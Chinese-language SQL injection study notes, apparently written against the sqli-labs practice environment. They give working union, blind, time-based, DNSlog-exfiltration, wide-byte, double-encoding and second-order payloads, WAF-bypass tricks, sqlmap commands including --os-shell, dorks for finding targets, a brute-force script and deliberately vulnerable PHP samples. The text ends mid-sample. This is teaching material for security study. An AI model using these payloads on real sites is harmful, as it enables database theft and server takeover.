SQL注入概述

前置知识:sql基础语法

环境:mysql,Sqli-lab,phpstudy

原理:

编写代码时没有对用户的输入数据或者是页面中所携带的信息进行必要的合法性判断,攻击者利用这个机会提交一段数据库查询代码,根据程序返回的结构就可以获得一些数据库信息

SQL注入是一种将恶意的sql代码插入或添加到应用的输入参数的攻击,攻击者探测出开发者编程过程中的漏洞,利用这些漏洞,巧妙地构造SQL语句,对DBMS的内容进行直接检索或修改

灵活的SQL查询语句+用户输入的数据带入了SQL语句=用户直接操作数据库->SQL注入

例如:

正常查询:

1
2
3
4
select version();
select id from jobs where id = 1;
select id from jobs where id = 1 union select version();
select id,location from jobs where id = 1 union select 1,version();

用户输入可控,代码对用户输入,带入了SQL语句,产生了SQL注入漏洞:

http://test.com/index.php?id=1 union select 1,version()#

前者是正常输入,后者是用户输入可自主控制

代码实现:

1
2
$id=$_GET['id'];
$sql="select * from users where id='$id' limit 0,1"

具体输入:

1
select id,location from jobs where id = 1

返回id为1的location

1
select id,location from jobs where id = 1 union select 1,version()#

返回id为1的location和数据库版本
如果是想查询id和其他数据的信息,比如说查id和版本信息时

正常查询:

1
select * from users where id=1  union select 1,2,version()#

上面是正常查询的语句,但如果要代入代码即上面贴出的

1
$sql="select * from users where id='$id' limit 0,1"

我们则要考虑闭合单引号,构造payload

1
id=1' union select 1,2,version()# 

PS:#为sql中的注释,即后面的语句全都忽略不执行
把payload代入代码就是这样的

1
$sql="select * from users where id='1' union select 1,2,version()#'  limit 0,1"

这里可以很清晰的看见1’闭合了前面的select后面的union联合查询执行查询版本信息,#把后面的给注释忽略不执行,这就是比较典型的一个sql注入语句
但是这里所有我们自主输入的数据都是正确可执行的,比如id=1’,闭合后就是id=’1’就是查询1,执行后显示的就是id为1的数据,后面union查询的不会显示,所以需要把第一个数据改为一个错误或者说是不存在的比如说是-1

1
id=-1' union select 1,2,version()# 

再把上面的代入$sql这里,就能显示出版本的信息。

Mysql常用函数及逻辑运算:

PS:内置函数推荐去官方文档去查看或者是菜鸟教程之类的

常用函数:

system_user():系统用户名

user():用户名

current_user():当前用户名

session_user():连接数据库的用户名

database():数据库名

version():数据库版本

@@datadir:数据库路径

@@basedir:数据库安装路径

@@version_compile_os:数据库安装路径

count():返回执行结果数量

concat():没有分隔符地连接字符串

concat_ws():含有分隔符地连接字符串

group_concat():连接一个组的所有字符串,并以逗号分隔每一条数据

load_file():读取本地文件

into_outfile:写文件

ascii():字符串的ASCII代码值

ord():返回字符串第一个字符的ASCII值

mid():返回一个字符串的一部分

substr():返回一个字符串的一部分

length():返回字符串的长度

left():返回字符串的最左面几个字符

floor():返回小于或等于x的最大整数

rand():返回0和1之间的一个随机数

extractvalue():第一个参数:XML_document是string格式,为XML文档对象的名称,文中为Doc

第二个参数:XPath_string(Xpath格式的字符串)

作用:从目标XML中返回包含所查询值的字符串

updatexml():第一个参数:XML_document是string格式,为XML文档对象的名称,文中为Doc

第二个参数:Xpath_string(Xpath格式的字符串)

第三个参数:new_value,String格式,替换查找到的符合条件的数据

作用:改变文档中符合条件的节点的值

sleep():让此语句运行N秒钟

if():>select if(1>2,2,3);

_>3

char():返回整数Ascii代码字符组成的字符串

STRCMP():比较字符串内容

IFNULL():假如参数1不为NULL,则返回值为参数1,否则其返回值为参数2

exp():返回e的x次方

算术运算符:

+:加法运算 -: 减法运算 *:乘法运算 /:除法运算 %:求余运算

DIV:除法运算,同”/“ MOD:求余运算,同“%”

比较运算符:

:大于 <:小于 =:等于 >=:大于等于 <=:小于等于 !=或<>:不等于

IS NULL:为空 IS NOT NULL:不为空

BETWEEN AND:在…之间 IN:包含

NOT IN:不包含 LIKE:模式匹配

NOT LIKE:模式匹配 REGEXP:正则匹配式

逻辑运算符:

&&或AND:与 !或NOT:非 ||或OR:或 XOR:异或

AND<–>OR:

1
select * from users where id = 1 and 1=1

前者为true,后者也是true,总体为true

1
select * from users where id = 1 or 1 = 2

前者为true,后者为false,总体为true
以上为AND和OR的区别

登陆处的SQL语句:

1
select * from users where username = 'admin' and pwd = 'pass' ;

万能密码:‘or ‘1’ = ‘1

1
select * from users where username = '  'or '1' = '1  ' and pwd = ' ' or '1' = '1 '
1
select * from users where username = " or '1' = '1' and pwd = " or '1' = '1'

然后直接分析可以发现false和true并为true,true再和false并为false,false再和true并为true

样例分析:

1
2
3
4
5
6
7
8
9
10
11
12
and 1=2 union select 1,2,3--

select user() regexp '^ro'

ascii(substr(select user()),1,1))=114

if(ascii(substr((select user()),1,1))=114,0,sleep(5))

(ascii(substr((select table_name from information_schema.t
ables where table_schema=database() limit 0,1),1,1)=9)

updataxml(1,concat(0x7e,(select @@version),0x7e),1)

注入流程:

寻找注入点:

  1. 目标搜集:
  • 无特定目标:

     inurl:php?id=
    
  • 有特定目标:

      inurl:php?id=site:target.com
    
  • 工具爬取:

     spider,对搜索引擎和目标网站的链接进行爬取
    

工具:googlehack语法

注入识别:

  • 手工简单识别:

    1
    2
    3
    4
    '
    and 1=1 /and 1=2
    and '1' = '1 /and '1'='2
    and 1 like 1 /and 1 like 2
  • 工具识别:

    sqlmap - m filename(file中保存检测目标)
    
    sqlmap --crawl(sqlmap对目标网站进行爬取,然后依次进行测试)
    
  • 高级识别:

  1. 拓展识别广度和深度:
    sqlmap –level 增加测试级别,对header中相关参数也进行测试
    sqlmap -r filename (filename中为网站请求数据)
    

2.利用工具提高识别效率:

 Burpsuite + sqlmap

 burpsuite拦截所有浏览器访问提交的数据

 burpsuite拓展插件,直接调用sqlmap进行测试

Tips:

可以在参数后键入”*”来确定想要测试的参数

可能出现注入的点:新闻,登陆,搜索,留言

站在开发的角度去寻找

流程:

信息搜集:

  1. 数据库类型
  2. 数据库版本
  3. 数据库用户
  4. 数据库权限
    例子:
1
check the manual that corresponds to your Mysql server for the right synatx 或者 Microsoft JET Database Engine 错误

函数:version().@@version
@@version v$version

user(),SYSTEM_USER

super_priv IS_SRVROLEMEMBER

获取数据:

  1. 获取库信息
  2. 获取表信息
  3. 获取列信息
  4. 获取数据
    方法:语句查询和暴力破解

提权:

  1. 执行命令:sqlserver sa权限 xp.cmdshell或–os-shell
  2. 读文件 : 读中间件配置文件,读数据库配置文件
  3. 写文件 : 写webshell到网站目录

    SQL手工注入方法

Mysql内置库:

mysql:保存现有账户信息,权限信息,存储过程,event,时区等信息

sys:包含了一系列的存储过程,自定义函数以及视图来帮助我们快速的了解系统的元数据信息(元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等)

performance_schema:用于收集数据库服务器性能参数

information_schema:它提供了访问数据库元数据的方式,其中保存着关于Mysql服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表的类型与访问权限等

核心原理:

Mysql内置的information_schema库,他功能强大,是我们进行注入的基石,通过information_schema可以窥视整个数据库的运行情况和数据信息

查询数据的核心语法:

查库:select schema_name from informaiton_schema.schemata

查表:select table_name from information_schema.tables where table_schema=库名

查列:select column_name from information_schema.columns where

table_name=表名

查数据:select 列名 from 库名.表名

若某个数据不能使用单引号包括,可以用hex转换

tips:

  1. 所有类型的注入都是基于查库查表查列
  2. 如果数据太多导致无法返回查询结果,查询的场景:可利用limit限定返回的数量和位置,依次查询。回显数据的场景:concat链接多个数据成为一条返回结果
  3. 在一些场景,想要快速获取数据,需借助工具如bp

    练习:sqli-lab less1

id=1时

1
select * from user where id='1' limit 0,1

可得到用户名和密码回显

1
2
id=2'时
select * from user where id='2' 'limit 0,1

回显语法错误,进行简单的逻辑判断
id=2’ and ‘1’ =’1

1
selec * from user where id ='2' and '1' = '1'

回显正常,得到id=2的用户名和密码,由此可知这一题存在sql注入
利用上述提到的知识进行注入先用union判断字段长度

id=2’ order by 1– +

1
select * from user where id='2' order by 1-- + '

回显正常,说明存在一个字段,依次增加字段数,可知道有三个字段
id=2’ union select 1,2,3–+

1
select * from user where id='2' union select 1,2,3 --+'

回显正常,确实存在三个字段,接着因为2不能返回我们想要的结果,切换为不存在的id值
id=-2’ union select 1,2,(select schema_name from information_schema.schemata)–+

1
select * from user where id='-2' union select 1,2,(select schema_name from informaiton_schema.schemata)--+'

这次返回提示我们返回的数据过多,我们使用limit对数据进行依次查看或者group_concat将数据集合查看
id=-2’ union select 1,2,(select schema_name from information_schema.schemata limit 0,1)–+

1
select * from user where id='-2' union select 1,2,(select schema_name from informaiton_schema.schemata limit 0,1)--+'

获得了库名,继续获得表名
id=-2’ union select 1,2,(select table_name from information_schema.tables where table_schema=’库名’ limit 0,1)–+

1
select * from user where id='-2' union select 1,2,(select table_name from information_schema.tables where table_schema='库名' limit 0,1)--+'

获得了表名,继续获得列名
id=-2’ union select 1,2,(select column_name from information_schema.columns where table_name=’表名’ limit 0,1)–+

1
select * from user where id='-2' union select 1,2,(select column_name from information_schema.columns where table_name='列名' limit 0,1)--+'

获得了表名和列名,就可以直接查询数据了
id=-2’ union select 1,2,(select username,password from 库名.表名)–+

1
select * from user where id='-2' union select 1,2,(select username,password from 库名.表名)--+'

如果返回数据过多,依旧使用上述两种方法,如果查询出来过多不便辨认,可以使用concat_ws(‘~’,username,password)进行分割
也有一些比较简单的语句

比如:

1
2
3
4
select user()
select database()
select load_file('文件目录')读本地文件或者系统文件
select 'test' into outfile '文件目录' 写文件(root权限)

Union联合查询

union操作符:

union操作符用于合并两个或多个select语句的结果集。

注意,union内部的select语句必须拥有相同数量的列,列也必须拥有相似的数据类型,同时每条select语句中的列顺序必须相同

默认情况,union操作符选取不同的值,如果允许重复的值,请使用union all

例子:

1
2
select columns_name(s) from table_name1 union select column_name(s) from table_name2
select columns_name(s) from table_name1 union all select column_name(s) from table_name2

union注入应用场景:

  1. 只有最后一个select子句允许有Order by;
  2. 只要最后一个select子句允许有limit
  3. 只要Union链接的几个查询的字段数一样且列的数据类型转换没有问题。就可以查询出结果
  4. 注入点页面有回显
    例子:
1
2
select * from users order by id union select  1,2,3;
select * from users limit 0,1 union select 1,2,3

union注入过程: sqli=lab less4学习

orderby 猜出来的列数超过数据库表中的列数,报错并不能返回数据

  1. orderby确定列数(二分法)
  2. 观察回显,选取数据位置,进行下一步注入
  3. 读库信息
  4. 读表信息
  5. 读字段
  6. 读数据
    大体步骤跟上文差不多这里给出例子:

id=-1’ union select 1,2,(select database())–+

1
select * from users where id='-1' union select 1,2,(select database())--+'

接着按照手工注入的步骤继续查询我们想要的信息,如果信息过多就采取limit或者group_concat,要采取间隔就用concat_ws,这样会更好查看一点

布尔盲注:

代码存在sql注入漏洞,然而页面既不会回显数据,也不会回显错误信息,只返回right和wrong。这里我们可以通过构造语句,来判断数据库信息的正确性,再通过页面的真和假来识别我们的判断是否正确,这就是布尔盲注

代码实现:

1
2
3
4
5
6
7
8
9
10
11
$id = $_GET['id'];
$sql = "select * from users where id = '$id' limit 0,1";
$row = mysql_fetch_array($result);
if($row)
{
echo "right";
}
else
{
echo "wrong"
}

示意过程:
正常请求,id=1,返回id=1的数据,错误请求id=1’,返回与正确页面不同的页面 (如果页面返回假,说明系统执行的SQL语句为假)

比如:

1
id=1 and left((select version(),1)=5--+

使用语句:

  1. left():left(database(),1)>’s’
    database()显示数据库名称,left(a,b)从左侧开始截取a的前b位

  2. regexp:select user() regexp ‘^r’

正则表达式的用法,user()结果为root,regexp为匹配root的正则表达式

3.like:select user() like ‘ro%’

与regexp类似,使用like进行匹配

4.substr(),ascii():ascii(substr((select database()),1,1))=98

substr(a,b,c)从b位置开始,截取字符串a的c长度,ascii()将某个字符转换为ascii的值

5.ord(),mid():ord(mid((select user()),1,1))=114

mid(a,b,c)从位置b开始,截取a字符串的c位ord()函数同ascii(),将字符转为ascii值

练习:

环境:sqli-lab less 8

id=1

1
select * from users where id='1' limit 0,1

回显正确you are in
id=1’

1
select * from users where id='1' ' limit 0,1

回显消失
id=1’ and ‘1’ = ‘1

1
select * from users where id = '1' and '1' ='1' limit 0,1

回显正确you are in
将后者的逻辑判断改为2,回显消失,可以判断存在sql注入漏洞

使用left()来进行尝试

id=1’ and left((select database()),1)=’s’–+

1
select * from users where id='1' and left((select database()),1)='s' --'limit 0,1

回显成功you are in
通过此类方法就能对库名,表名,列名进行查询

对表名查询

id=1’ and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)=’e’–+

1
select * from users where id='1' and left((select  table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e'--+

回显成功 判断正确
注入流程就是这样,我们可以使用BP进一步提升效率,为字符添加变量,自动化跑(注意下数据库命名规则是a-z,0-9,_

尝试切换为regexp试试

id=1’ and (select database()) regexp ‘^s’ –+

1
select * from users where id = '1' and (select database()) regexp '^s' --+' limit 0,1

回显成功判断正确
id=1’ and (select table_name from information_schema.tables where table_schema=database() limit 0,1),1) regexp ‘^e’ –+

1
select * from users where id='1' and (select table_name from information_schema.tables where table_schema=database() limit 0,1),1) regexp '^e' --+' limit 0,1

回显成功判断正确,如果要判断第二位,就直接在e后面加上自己想测的字符
切换为like

id=1’ and (select table_name from information_schema.tables where table_schema=database() limit 0,1) like ‘e%’ –+

1
select * from users where id='1' and(select table_name from information_schema.tables where table_schema=database() limit 0,1) like 'e%' --+ limit 0,1

这种表示匹配以e开头的字符串,后面同理regexp
切换为substr以及ascii

id=1’ and ascii(substr((select database()),1,1) = 115 –+

1
select * from users where id='1' and ascii(substr((select database()),1,1) = 98 --+' limit ,1

截取了从第一位字符开始长度为一的字符的ascii并判断是否等于115,这里是回显成功判断正确
然后查表

id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1) = 115 –+

这里回显失败判断错误,就可以借助Bp爆破字符了,爆破可得101时正确,接着调整字符长度和ASCII的值,直至爆破结束

时间盲注:

原理:

代码存在sql注入漏洞,然而页面既不会回显数据,也不会回显错误信息,语句执行后也不提示真假,我们不能通过页面的内容来进行判断,这里我们可以通过构造语句,通过页面响应的时长,来判断信息,这就是时间盲注

代码实现:

1
2
3
4
5
6
7
8
9
10
11
12
$id = $_GET['id'];
$sql = 'select * from users where id='$id' limit 0,1';
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "";
}
else
{
echo "";
}

示意过程:

登陆正常请求,name=admin&pwd=1返回登陆成功的页面,在不知道账号密码的情况发送登录请求,返回登陆失败的页面,构造sql语句,发送登陆请求,返回登陆失败页面,构造语句让程序延时执行,判断信息

构造逻辑语句,通过条件语句进行判断,为真则立即执行,否则延时执行

核心语法:if(left(user(),1)=’a’,0,sleep(3));通过sql语句取到某个值,用left去user左侧的第一个字符,如果等于a,就立即执行,错误就延时3秒执行

真实场景:if(ascii(substr(database(),1,1))>115,0,sleep(5))%23

插入想要查询的数据,进行字符串截取,再进行比对

练习:

环境:sqli-lab less10

id=1 id=1’ id=1’ and ‘1’ =’2

进行一些简单的逻辑判断,均为一致的回显

采取上述时间盲注

id=1’ and if(left(user(),1)=’a’,0,sleep(3))–+

1
select * from users where id='1' and if(left(user(),1)='a' , 0 ,sleep(3))--+' limit 0,1

很明显页面延迟了刷新,将字符a变为r,页面立即执行,通过这种方式就能对数据库的数据进行查询
id=1’ and if(left(select table_name from information_schema.tables where table_schema=database() limit 0,1),1)=’e’,0,sleep(3))–+

1
select * from users where id='1' and if(left(select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e',0,sleep(3))--+' limit 0 ,1

页面立即执行了,可见就是表名第一个字符就是E,但是这种效率会比较低这里对时间盲注比较推荐使用工具或者脚本
时间盲注脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
import time

url=''
database='select schema_name from information_schema.schemata'
column = 'select column_name from information_schema.columns where table_name="table_name"'
table = 'select table_name from information_schema.tables where table_schema=database()'

result = ''
for i in range(1,20):
    for j in range(48,122):
        payload = '" and if(ascii(substr(({} limit 0,1),{},1),sleep(2),1)--+'.format(database,i,j)
        stime=time.time()
        r = requests.get(url+payload)
        etime = time.time()
        if etime-stime ==2:
            result += chr(j)
            print(result)
            break

这里脚本先对库名进行爆破,爆完库名修改为表名,列名即可

Dnslog盲注

每个网站都有对应的域名比如test.com ,同样每个域名都有对应的ip地址,而将ip地址与域名这两者互相转换的中间人就是DNS,这两者每次转换都会留下一定的记录,我们就可以将这个称为dnslog,其实就是记录用户访问域名的信息

原理:代码存在sql注入漏洞,然而页面既不会回显数据,也不会回显错误信息,我们可以通过布尔以及时间盲注获得内容,但整个过程效率低,需要发送很多请求进行判断,很可能触发安全设备的防护,所以需要一种方式减少请求,直接回显数据,这里可以使用dnslog实现注入

代码实现:

1
2
3
4
5
6
7
8
9
10
11
$id = $_GET['id'];
$sql = "select * from users where id = '$id' limit 0,1";
$row = mysql_fetch_array($result);
if($row)
{
echo "right";
}
else
{
echo "wrong"
}

平台:ceye.io dns在解析的时候会留下日志,通过读取多级域名的解析日志,获取请求信息比如 curl xx.dnsurl,xx这里就是我们可以自主输入的命令字符,如果输入的whoami,就会返回当前用户
另外mysql的load_file可以发起请求

例子:select load_file(concat(‘\\‘,’test’,’mysql.dnsurl\abc’));

构造语句,利用Load_file函数发起请求,使用dnslog接受请求,获取数据

核心语法:select load_file(concat(‘\\‘,(select database(),’mysql.dnsurl\abc’));

通过sql语句查询内容,作为请求的一部分发送至dnslog,只要对这一部分的语句进行构造,就能实现有回显的sql注入,值得注意的是,这些数据格式和内容都有限制,需要处理

练习:

环境:sqli-lab less9

id=1 或者其他逻辑判断

回显无效无法判断,如果有注入点就必然是盲注

采取dnslog盲注

id=1’ and select load_file(concat(‘\\‘,(select database(),’mysql.dnsurl\abc’));

1
select * from users where id ='1' and select load_file(concat('\\\\',(select database(),'mysql.dnsurl\\abc'));--+'

前去dnslog平台就可以看到库名
然后查表名

id=1’ and select load_file(concat(‘\\‘,(select table_name from information_schema.tables where table_schema=database() limit 0,1),’mysql.dnsurl\abc’));–+

1
select * from users where id='id=1' and select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'mysql.dnsurl\\abc'));--+'

可以看到表名,列名就按照老套路继续走
但是其实效率还是不高,推荐使用脚本跑

宽字节注入

原理:

GB2312,GBK等这些都是宽字节,实际为两字节

常规输入’后会被处理为',然后进行编码为%5c%27即',代入sql为id=1' and这明显是不能注入的

当mysql在使用gbk编码,会认为两个字符为一个汉字

%df’会被处理为%df',进行编码%df%5c%27,其中%df%5c组合会被认为是一个汉字(前一个ASCII码大于128才能到汉字的范围),id=某汉字’ and可以注入

方法:

在注入点后键入%df,然后按照正常流程开始注入

less-32

黑盒测试:在可能注入点后键入%df进行测试

白盒测试:

  1. 查看mysql编码是否为gbk
  2. 是否使用preg_replace转义单引号
  3. 是否使用addslasher转义
  4. 是否使用mysql_real_escape_string转义

    练习:

id=1’

回显变为了1'

id=1%df%27

回显多了个不可见字符组合成了一个汉字并报错,很明显我们可以开始注入,按照以前的流程

id=%df%27 union select 1,(select user()),3–+

1
select * from users where id='%df' union select 1,(select user()),3--+'

回显当前用户,剩下的直接按照之前的套路即可
也可使用sqlmap

但是如果不进行处理直接键入

比如sqlmap -u ‘url’ 是不会显示有注入点的需要在url加一个汉字参数

比如sqlmap -u ‘url?id=1%df’类似 这样即可

重点还是是否设置了编码gbk这些宽字节的编码!!!!!以及那些能进行转义的函数

防御:

  1. 设置utf-8,避免宽字节注入ps:不仅在gbk,日文和韩文都存在宽字节漏洞
  2. 使用mysql_real_escape_string时一定要设置mysql_set_charset(‘gbk’,$conn);
  3. 可以设置参数character_set_client=binary

    二次编码注入

原理:

面对php代码或者配置时,urldecode()与本身处理编码时,两者配合失误,可以构造错误消灭\

用户输入id=1%27,php自身编码id=1’,转义为1',代入sql为id=1'不能注入

php代码中放置了urldecode()等编码函数,放置在一个尴尬的位置,与php自身编码配合失误

用户输入id=1%2527,自身编码为id=1%27,此时没有’没有触发转义,函数编码为id=1’,代入sql为id=1’ and可以注入

代码实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if(isset($_GET['id'])){
$id = mysql_real_escape_string($_GET['id']);
$id = urldecode($id);
$sql = "select * from users where id='$id' limit 0,1";
$result = mysql_query($sql);
$row=mysql_fetch_array($result);
if($row)
{
xxxxx
}
else
{
xxxxx
}

练习:

id=1’时会被转义为id=1'

变为id=1%2527时,回显为1’并报错可以发现会存在sql注入漏洞接下来直接按照之前的套路

比如

id=%2527 and union select 1,(select user()),3–+

1
select * from users where id =' union select 1,(select user()),3--+'

如果是sqlmap的话跟宽字节注入一个道理需要键入相关参数
比如sqlmap -u ‘url?id=1%2527’就可以跑

黑盒测试:

在可能的注入点键入%2527,之后进行注入测试

白盒测试:

  1. 是否使用Urldecode函数
  2. urldecode函数是否存在转义方法之后

    二次注入

原理

第一步:插入恶意数据:

第一次进行数据库插入数据的时候,仅仅对特殊字符进行了转义,在写入的时候保留了原来的数据,但是数据本身是含有恶意内容的

第二步:引用恶意数据:

将数据存入到数据库之后,开发者认为数据是可信的,在下一次需要进行查询的时候,直接从数据库中取出了恶意数据,没有进行进一步的检验和处理,就会造成sql的二次注入

过程:

寻找插入数据库并会转义的操作,输入参数,参数经过转义函数1',参数进入数据库存储还原为1’,寻找另一处引用数据的操作,将1’从数据库中取出,取出后直接给变量并代入sql,sql注入触发

代码实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$sql = 'select * from users order by id asc';
$result = mysql_query($sql);
$num = mysql_num_rows($result);
for ($j = 0;$j<$num;++$j)
{
$row = mysql_fetch_array($result);
$username = $row[1];
$sql_detail = "select * from users where username ='$username'";
$result_detail=mysql_query($sql_detail);
$num_detail=mysql_num_rows($result_detail);
for($i =0;$i<$num_detail;++$i){
$row_detail =mysql_fetch_array($result_detail);
xxxxxx
}
}

练习:less24

点击注册admin’# 密码123,然后修改密码为1314并键入原密码123

查看数据库里可以看到admin这个用户密码被改成了1314,而不是admin’#这个用户的密码被修改了

具体的sql语句是这样

$sql=”update users set password=’1314’ where username=’admin’#’ and password = ‘$curr_pass’”;

所以我们可以这样注入

创建一个这样的用户

1’ union select 1,user(),3# 密码123

然后查看用户列表,可以看到当前用户名能显示我们数据库的当前用户

执行的语句为$sql_detail = ‘select * from users where username = ‘1’ union select 1,user(),3#’”;

这样就能到比较直观的二次注入的效果,不断插入我们的语句就能查询到我们想要的信息

防御:

对外部提交的数据,需要更加严谨的对待,程序内部的数据调用,也要进行严格的检查,一不小心,测试者就能将特定的sql语句代入到查询中

waf绕过

原理

掌握mysql函数和语法使用方法+深入了解中间件运行处理机制+了解WAF防护原理及方法=绕过WAF防护

代码实现:

(部分)

1
2
3
4
5
6
7
8
9
10
11
12
$id =$_GET['id'];
$id = blacklist($id);
$sql='select * from users where id='$id' limit 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);

function blacklist($id)
{
$id = preg_replace('/or/i','',$id);
$id = preg_replace('/AND/i','',$id);
return $id;
}

1.分析代码:

使用了Blacklist函数过滤了’or’和’and’

2.绕过限制

大小写变形:Or OR,oR 等价替换:and = & or = || 双写等

黑盒绕过:

  1. 架构层绕过:
  • 寻找源站,针对云WAF
  • 利用同网段,绕过WAF防护区域
  • 利用边界漏洞,绕过WAF防护区

2.资源限制角度绕过WAF

  •  post大body
    

3.协议层面绕WAF

  • 协议未覆盖WAF
    (请求方式变化:get>post 参数污染)

4.规则层面绕过

  1. sql注释符绕过
  • union /**/select
  • union/aaa%01bbs/select
  • union/aaaaaaaaaaaaaaaaaaaaaa/select
  • 内联注释:/!xxx/

2.空白符绕过

  • mysql空白符:%09.%0A.%0B.%0D.%0C.%A0.%20,/xxx/
  • 正则的空白符:%09.%0A.%0B.%0D.%20
    exa1:union%250Cselect

exa2:union%25A0select

3.函数分割符号:

  • concat%2520(
  • concat/**/(
  • concat%250c(
  • concat%25a0(

4.浮点数词法解析

  • select * from users where id = 8E0union select 1,2,3,4,5,6,7,8,0

  • select * from users where id = 8.0 union select 1,2,3,4,5,6,7,8,0

  • select * from users where id =\N union select 1,2,3,4,5,6,7,8,9,0
    5.利用error-base进行sql注入:error-based sql注入函数非常容易被忽略

  • extractvalue(1,concat(0x5c,md5(3)));

  • updatexml(1,concat(0x5d,md5(3)),1);

  • GeometryCollection((select * from(select * from(select@@version)f)x))

  • polygon((select * from (select name_const(version(),1))x))

  • linestring()

  • multipoint()

  • multilinestring()

  • multipolygon()

6.mysql特殊语法

  • select{x table_name}from{x information_schema.tables};
    以注释符绕过为例,采取工具BP进行fuzz注释符内的字符获取payload

sqlmap常见命令

1
2
3
4
5
6
7
8
9
10
sqlmap.py -u 'url?id=1'
sqlmap.py -u 'url?id=1' -- current-db
sqlmap.py -u 'url?id=1' --current-user
sqlmap.py -u 'url?id=1' -D security --tables
sqlmap.py -u 'url?id=1' -D security -T users --columns
sqlmap.py -u 'url?id=1' -D security -T users -C username,password --dump
sqlmap.py -u 'url?id=1' --os-shell
sqlmap.py -u 'url?id=1' --sql-shell
sqlmap.py -u 'url?id=1' --file-read
sqlmap.py -u 'url?id=1' --file-write 本地文件 --file-dest 目标目录及文件

代码审计

0x01 普通注入

SQL参数拼接,未做任何过滤 

代码实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$con = mysql_connect("localhost","root","root");
if (!$con){die('Could not connect: ' . mysql_error());}
mysql_select_db("test", $con);
$id = stripcslashes($_REQUEST[ 'id' ]);
$query = "SELECT * FROM users WHERE id = $id ";
$result = mysql_query($query)or die('<pre>'.mysql_error().'</pre>');
while($row = mysql_fetch_array($result))
{
 echo $row['0'] . " " . $row['1'];
echo "<br />";
}
 echo "<br/>";
echo $query;
mysql_close($con);
 ?>

测试语句:id = union select user(),2,3,4 from users

0x02 宽字节注入

A、MYSQL中的宽字符注入

示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$con = mysql_connect("localhost","root","root");
mysql_query("SET NAMES 'gbk'");
mysql_select_db("test", $con);
$id = isset($_GET['id']) ? addslashes($_GET['id']) : 1;
$query = "SELECT * FROM users WHERE id ='{$id}' ";
$result = mysql_query($query)or die('<pre>'.mysql_error().'</pre>');
while($row = mysql_fetch_array($result))
{
echo $row['0'] . " " . $row['1'];
echo "<br />";
}
echo "<br/>";
echo $query;
mysql_close($con);
 ?>

 测试语句:%df%27
 mysql的特性,因为gbk是多字节编码,两个字节代表一个汉字,所以%df和后面的\也就是%5c变成了一个汉字“運”,而’逃逸了出来。

根据gbk编码,第一个字节ascii码大于128,基本上就可以了。比如我们不用%df,用%a1也可以。

 gb2312编码的取值范围。它的高位范围是0xA10xF7,低位范围是0xA10xFE,而\是0x5c,是不在低位范围中的。所以,0x5c根本不是gb2312中的编码,所以不会造成宽字节注入。扩展到世界上所有多字节编码,只要低位的范围中含有0x5c的编码,就可以进行宽字符注入

宽字符注入的修复:

方案一:指定php连接mysql的字符集

mysql_set_charset(‘gbk’,$conn);

id=mysql_real_escape_string(_GET[‘id’]);

方案二:将character_set_client设置为binary(二进制)

mysql_query(“SET character_set_connection=gbk, character_set_results=gbk,character_set_client=binary”,$conn);

图片

将character_set_client设置成binary,就不存在宽字节或多字节的问题了,所有数据以二进制的形式传递,就能有效避免宽字符注入。

B、PHP 编码转换示例代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
$con = mysql_connect("localhost","root","root");
mysql_query("SET NAMES 'gbk'");
mysql_select_db("test", $con);
mysql_query("SET character_set_connection=gbk,
character_set_results=gbk,character_set_client=binary", $con);
$id = isset($_GET['id']) ? addslashes($_GET['id']) : 1;
$id=iconv('utf-8','gbk',$id);
$query = "SELECT * FROM users WHERE id ='{$id}' ";
 $result = mysql_query($query)or die('<pre>'.mysql_error().'</pre>');
while($row = mysql_fetch_array($result))
{
echo $row['0'] . " " . $row['1']; echo "<br />";
}
echo "<br/>";
echo $query;
mysql_close($con);
?>

测试语句: 錦’

錦这个字:它的utf-8编码是%e9%8c%a6,它的gbk编码是%e5%5c

 

錦被iconv从utf-8转换成gbk后,变成了%e5%5c,而后面的’被addslashes变成了%5c%27,这样组合起来就是%e5%5c%5c%27,两个%5c就是\,正好把反斜杠转义了,导致’逃逸出单引号,产生注入。

id=iconv(‘gbk’,utf-8’,id);//使用%df%27来测试

一个gbk汉字2字节,utf-8汉字3字节,如果我们把gbk转换成utf-8,则php会每两个字节一转换。所以,如果'前面 的字符是奇数的话,势必会吞掉\,’逃出限制。

其他函数:mb_convert_encoding(id,’utf-8’,’gbk’)//GBKToUTF-8与iconv(‘gbk’,’utf-8’,id)一样

0x03 编码解码

 

找一些编码解码的函数来绕过防护,,如urldecode() 、rawurldecode()、base64_decode()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$con = mysql_connect("localhost","root","root");
mysql_select_db("test", $con);
$id = addslashes($_REQUEST['id']);
$id = urldecode($id);//$id = base64_decode($id);
$query = "SELECT * FROM users WHERE id = '{$id}'";
$result = mysql_query($query)or die('<pre>'.mysql_error().'</pre>');
while($row = mysql_fetch_array($result))
{
echo $row['0'] . " " . $row['1'];
echo "<br />";
}
echo "<br/>"; echo $query;
mysql_close($con);
?>

测试语句:

1’union select 1,2,3,4%23 单引号Urlencode 1%2527union select 1,2,3,4%23

 

1’union select 1,2,3,4#   Base64 Encode   MSd1bmlvbiBzZWxlY3QgMSwyLDMsNCM=

0x04 二次注入

 

入库后转义符就会消失,变成hack’,查询出库的就是hack’,如果拼接到SQL语句,成功引入了单引号闭合前面字符,导致注入。

 

测试:

CREATE TABLE test (user VARCHAR(20) NOT NULL);

 

INSERT INTO test values(‘hack'‘);

示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
//测试数据
create table test( id INT NOT NULL,
user VARCHAR(100) NOT NULL, pass VARCHAR(100) NOT NULL
)
INSERT INTO test values(1,'hack','hack');
//测试代码<?php
